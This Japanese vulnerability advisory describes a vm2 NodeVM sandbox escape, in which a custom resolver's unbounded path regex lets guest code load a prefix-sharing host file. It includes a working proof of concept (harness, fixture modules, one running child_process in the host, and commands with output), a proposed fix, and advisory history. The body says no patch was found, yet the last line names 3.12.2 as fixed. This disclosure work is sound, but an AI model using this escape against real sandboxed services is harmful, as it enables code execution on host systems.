vm2: NodeVMのカスタム解決機能における、外部パスの境界を回避する脆弱性
## 概要
vm2 3.11.8のソースコードリビジョン `91034466bfb7f56b95fd48083ec6ca36d058f164` において、信頼されていない`NodeVM`のゲストが、許可リストに登録されたカスタム解決モジュールを、解決されたパスの文字列プレフィックスを共有する別のファイルへの認証に利用する可能性があります。`LegacyResolver.customResolve`は、解決されたパスを`this.externals`に`^<パス>`という形式で保存しますが、終端や区切り文字の境界が含まれていません。そのため、後続の絶対パスを使用したrequire(例えば、`foo2/index.js`)は、外部チェックを通過し、設定されたコンテキストが`host`の場合、`hostRequire`を通じてロードされます。この脆弱性を悪用した場合、`foo`が`FOO_OK`としてロードされ、その後、プレフィックスを共有するファイルが実行されます。このファイルは、`child_process`を呼び出した後に`PREFIX_PWN`を返します。同様の状況でも、別の制御下にある場合、プレフィックスを共有するファイルは`ENOTFOUND`で拒否されます。
## 技術的な詳細
影響を受ける設定は、ドキュメントに記載されている`NodeVM`の使用方法であり、埋め込み側が`require.external`を`{modules: ['foo'], transitive: false}`に設定し、`foo`ディレクトリを返すカスタムリゾルバーを提供し、ルートディレクトリを設定し、`context: 'host'`を使用します。ゲストは`require`の指定子を制御し、許可リストに登録されている単純な名前を要求する前に、プレフィックスを共有するファイルの絶対パスを要求します。テストのエントリーポイントは、意図的に設定されたルートディレクトリの外に配置されており、通常の`node_modules`の検索では見つからないため、カスタムリゾルバーが参照されます。
ソースからシンクへのパスは以下の通りです。
- `NodeVM.run` はゲストコードを実行し、モジュール固有の `require` 関数を `lib/nodevm.js:516-575` で作成します。
- `DefaultResolver.resolveFull` は、通常の場所を検索し、その後、`customResolve` に処理を委譲します(`lib/resolver.js:227-316`)。
- `LegacyResolver.customResolve` は、単純な指定子を外部キャッシュに対して確認し、組み込み側のリゾルバーを呼び出し、認証のための正規表現を追加します(`lib/resolver-compat.js:266-291`)。
- `isPathAllowedForModule` は、`this.externals.some(regex => regex.test(path))` にフォールバックします(`lib/resolver-compat.js:193-215`)。 動的に追加された正規表現 `^/…/node_modules/foo` も、パス区切り文字や文字列の終端条件が不要なため、`/…/node_modules/foo2/index.js` にも一致します。
- `loadJS` は、ホストコンテキストのファイルに対して `this.hostRequire(filename)` を使用し、返されたエクスポートのみを `vm.readonly` でラップします(`lib/resolver-compat.js:255-263`)。 そのため、require されたファイルのトップレベルの効果は、エクスポートがラップされる前に、ホストプロセスで発生します。
関連する現在のコードには、サポートされているカスタムリゾルバーの戻り値の形状の両方で同じ欠陥があります。
```js
if (typeof resolved === 'string') {
this.externals.push(new RegExp('^' + escapeRegExp(resolved)));
return this.loadAsFileOrDirectory(resolved, extList);
}
const {module=x, path: resolvedPath} = resolved;
this.externals.push(new RegExp('^' + escapeRegExp(resolvedPath)));
return this.loadNodeModules(module, [resolvedPath], extList);
```
既存のアンカー付きの単純な指定子マッチングと、区切り文字を考慮した `mod.path` のチェックは、異なる認証状態に対処しています。 これらは、カスタムリゾルバーによって作成された新しい `this.externals` エントリを制限しません。 違反されている不変の条件は、解決された許可リスト内のパスが、パス区切り文字の後の正確なパスとその子孫のみを許可するものであり、生の文字列のプレフィックスによって選択された兄弟ファイルは許可されないということです。
## PoV (Proof of Vulnerability: 脆弱性の検証)
最小限のゲスト操作は、構成された単純な名前をロードし、次に、別の絶対パスの兄弟ファイルを要求することです。
```js
const foo = require('foo');
module.exports = {
foo,
sibling: require('/tmp/vm2-prefix-case/node_modules/foo2/index.js')
};
```
対応する組み込み設定は以下の通りです。
```js
const vm = new NodeVM({
require: {
external: {modules: ['foo'], transitive: false},
root: '/tmp/vm2-prefix-case',
context: 'host',
resolve(name) {
return name === 'foo'
? '/tmp/vm2-prefix-case/node_modules/foo'
: undefined;
}
}
});
```
関連モジュール自体は許可リストに登録されていません。その正常なロードは、権限違反を示します。関連モジュールのトップレベルコードに含まれる `child_process` の呼び出しは、ゲスト専用コードとしてではなく、ホストコンテキストで実行されていることを示しています。
## 実証
リポジトリをチェックアウトし、ピン留めされたバージョンを使用し、ライフサイクルスクリプトなしで依存関係をインストールします。
```sh
git checkout 91034466bfb7f56b95fd48083ec6ca36d058f164
npm ci --ignore-scripts
```
以下のハラネスを `/tmp/custom-resolve-prefix.js` として保存します。
```js
'use strict';
const path = require('path');
const { NodeVM } = require(process.cwd() + '/lib/main.js');
const [, , mode, fooIndexPath, siblingPath] = process.argv;
const fooDir = path.dirname(fooIndexPath);
const root = path.resolve(fooDir, '../..');
const entry = path.join(path.dirname(root), 'entry.js');
let customCalls = 0;
function runGuest(code) {
return new NodeVM({
require: {
external: {modules: ['foo'], transitive: false},
root,
context: 'host',
resolve(moduleName) {
if (moduleName === 'foo') {
customCalls++;
return fooDir;
}
return undefined;
}
}
}).run(code, entry);
}
const record = {mode, result: 'invalid'};
```
```
try {
if (mode === 'candidate') {
const output = runGuest(`
const foo = require('foo');
module.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})};
`);
record.output = output;
if (output && output.foo === 'FOO_OK' && output.sibling === 'PREFIX_PWN') {
record.result = 'violation';
record.signal = 'prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN';
} else {
record.result = 'pass';
}
} else if (mode === 'control') {
try {
runGuest(`module.exports = require(${JSON.stringify(siblingPath)});`);
record.result = 'violation';
record.signal = 'prefix-sharing sibling loaded before custom resolution';
} catch (error) {
record.result = 'pass';
record.denial = String(error && (error.code || error.message) || error);
}
} else {
record.error = 'unknown mode';
}
} catch (error) {
record.result = 'invalid';
record.error = String(error && (error.stack || error.message) || error);
}
record.customCalls = customCalls;
console.log(JSON.stringify(record));
```
以下の2つのニュートラルなフィクスチャモジュールを作成します。一つは設定されたモジュールで、もう一つは、名前が最初のモジュールのパスプレフィックスを共有する別のモジュールです。
```sh
mkdir -p /tmp/vm2-prefix-case/node_modules/foo /tmp/vm2-prefix-case/node_modules/foo2
cat > /tmp/vm2-prefix-case/node_modules/foo/index.js <<'EOF'
'use strict';
module.exports = 'FOO_OK';
EOF
cat > /tmp/vm2-prefix-case/node_modules/foo2/index.js <<'EOF'
'use strict';
module.exports = require('child_process').execFileSync(
process.execPath,
['-e', "process.stdout.write('PREFIX_PWN')"]
).toString();
EOF
```
攻撃を実行し、次にリポジトリからチェックアウトしたネガティブコントロールを実行します。
```sh
node /tmp/custom-resolve-prefix.js candidate \
/tmp/vm2-prefix-case/node_modules/foo/index.js \
/tmp/vm2-prefix-case/node_modules/foo2/index.js
node /tmp/custom-resolve-prefix.js control \
/tmp/vm2-prefix-case/node_modules/foo/index.js \
/tmp/vm2-prefix-case/node_modules/foo2/index.js
```
決定的な結果は以下の通りです。
```text
{"mode":"candidate","result":"violation","output":{"foo":"FOO_OK","sibling":"PREFIX_PWN"},"signal":"prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN","customCalls":1}
{"mode":"control","result":"pass","denial":"ENOTFOUND","customCalls":0}
```
両方の実行は、オフラインの `node:bookworm` 環境で、終了コード 0 を伴って正常に完了しました。 攻撃は `LegacyResolver.customResolve` を 1 回呼び出し、一方、コントロールは 0 回呼び出しました。 `foo2` のテストは、ターゲットがホストコンテキストのパスを通じてロードしたため、`child_process` を使用できるという点に注意が必要です。 同一の絶対パスリクエストで、カスタム解決処理を挟まずにアクセスしようとすると、拒否されます。
## 影響
```
これは、信頼できないゲストJavaScriptからホストプロセスへの、サンドボックスの認証バイパスを伴うものです。 `NodeVM`内で攻撃者制御のJavaScriptを実行するサービスは、カスタムの外部リゾルバーを使用することで、`transitive: false`の設定にもかかわらず、許可リストに登録されていない既存のプレフィックス共有ホストファイルを読み込む可能性があります。 実証された攻撃では、子プロセスが最上位レベルで実行され、ホストによって生成されたマーカーが返され、ゲストのみのエラーやサービス拒否ではなく、ホストコードの実行を示しています。 この脆弱性の悪用には、アプリケーションがこのカスタムリゾルバー/ホストコンテキスト構成を使用し、読み取り可能なプレフィックス共有ファイルが存在する必要があります。 テストされた内容は、この特定の構成に限定され、すべてのvm2のインストールが影響を受けることを意味するものではありません。 これはCWE-863(不適切な認証)に該当し、CVSS 3.1では `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` と評価されます。 上記の展開条件を満たした場合、ゲストは低複雑さのモジュール要求のみが必要であり、追加のホスト権限やユーザーインタラクションは不要です。 また、影響はホストの機密性、完全性、可用性に及ぶ可能性があります。
## 推奨される修正
カスタムリゾルバーから派生するすべての認証エントリパスが、パス境界を認識するようにします。 最も簡単な修正は、文字列の結果と `{path: resolvedPath}` の結果の両方について、正確に解決されたパス、またはパス区切り文字の後に続く派生パスのいずれかを要求することです。
```js
const externalPath = value => new RegExp(
'^' + escapeRegExp(value) + '(?:[\\/].*)?$'
);
```
文字列を返す場合は `externalPath(resolved)` を、オブジェクトを返す場合は `externalPath(resolvedPath)` を使用します。 リゾルバーのファイルシステムがサポートしている場合は、`isPathAllowedForModule` と共有されるパスを認識した正規比較が望ましいです。なぜなら、これにより、区切り文字や正規化を一貫して処理できるからです。 この修正は、単純なスペシファイアのマッチングだけに依存してはなりません。 バイパスは、そのマッチングがすでに `foo` を受け入れた後、`customResolve` が新しい正規表現を追加した後に発生します。
回帰テストの範囲を拡張し、`external: {modules: ['foo'], transitive: false}`、`foo`を返すカスタムリゾルバー、および`context: 'host'`を設定します。これにより、`foo`が要求され、絶対パスで指定された`foo2/index.js`というファイルへのアクセスが拒否され、ホストマーカーを生成できないことを検証します。`foo`を解決する前に兄弟ファイルへのアクセスを要求するネガティブなテストケースを維持し、正確に解決されたファイルと正当な派生物に対するポジティブなテストケースを追加します。カスタムリゾルバーの戻り値の形式の両方をテストし、`this.externals.push`のいずれかの分岐がプレフィックスの承認を再導入しないようにします。
## 影響を受けるパッケージ/バージョン
- パッケージ: npmエコシステムにおける`vm2`。
- テストされたパッケージバージョン: `3.11.8`、ソースリビジョンは`91034466bfb7f56b95fd48083ec6ca36d058f164`。
- テストされた影響を受けるバージョン範囲: `pinned-revision-91034466bfb7f56b95fd48083ec6ca36d058f164`。
- 現在の最新バージョン: ピンされたリビジョンは脆弱であり、上記の攻撃/コントロールのペアで示されているように。
- パッチが適用されたバージョン: テストされた証拠によって特定されたものはない。
- テストされたのはピンされたリビジョンのみであり、より広範な過去のバージョン範囲や修正されたリビジョン、またはリリースについては言及しない。
## アドバイザリ履歴
最も近い公開されている関連情報として、[GHSA-7q3f-wx44-378m](https://github.com/patriksimek/vm2/security/advisories/GHSA-7q3f-wx44-378m) があります。これは「外部モジュール許可リストが生のプレフィックステストを使用しているため、プレフィックスを共有する関連パッケージが許可リストに含まれる」というタイトルが付けられています。この情報は、許可リストに含まれるパッケージからの相対的なrequireにおいて、`isPathAllowedForModule` の `mod.path.startsWith(path)` というロジックに関するものです。公開されている修正は、[commit `6ac3916da84e060c403e407b6b6318fcc66b0e72`](https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72) であり、これは `isPathAllowedForModule` にパス境界のチェックを追加していますが、ファイル名の側の `this.externals` のフォールバックは変更されていません。関連する公開されている修正としては、[commit `ab4ee7d803e8c80155e9eb3672226bddbca4aa9c`](https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c) があり、これは許可リスト内のサブパスにおける `..` によるトラバーサルを拒否し、ファイル名の側の `this.externals` マッチャーを明示的に変更していません。この問題に対する別の修正箇所として、現在の `customResolve` 関数は、カスタムリゾルバーの戻り値の各分岐において、新しい生のプレフィックスの正規表現を `this.externals` に追加していますが、上記の公開されている修正では、この点については記述されていません。
[GHSA-c48m-32m9-vx93](https://github.com/patriksimek/vm2/security/advisories/GHSA-c48m-32m9-vx93)、「vm2のカスタムモジュール解決機能が、競合するホストパッケージを読み込むことで、外部パッケージの許可リストを回避する可能性がある」という脆弱性に関するアドバイザリが、最も関連性の高いカスタムリゾルバーに関するものです。この脆弱性は、指定側の`externalCache`のマッチャーを修正し、カスタムリゾルバーが参照される前に`..`セグメントを拒否することで修正されます。この問題は、カスタム解決が成功した後、別の、残存する処理パスに到達します。`customResolve`は、ファイル名側の生のプレフィックス正規表現を`this.externals`に追加し、プレフィックスを共有する絶対パスのファイルを読み込むことを許可します。GHSA-c48mとGHSA-7q3fのいずれも、この処理パスを修正していません。リポジトリのissue、プルリクエスト、およびコミット履歴には、この問題に対する修正が含まれていません。修正されたバージョンは、テストされた固定バージョンのみであるため、提供されていません。
影響を受けるパッケージ:
- npm (JavaScript) vm2: 影響を受けるバージョンは3.12.1以下、3.12.2で修正済み。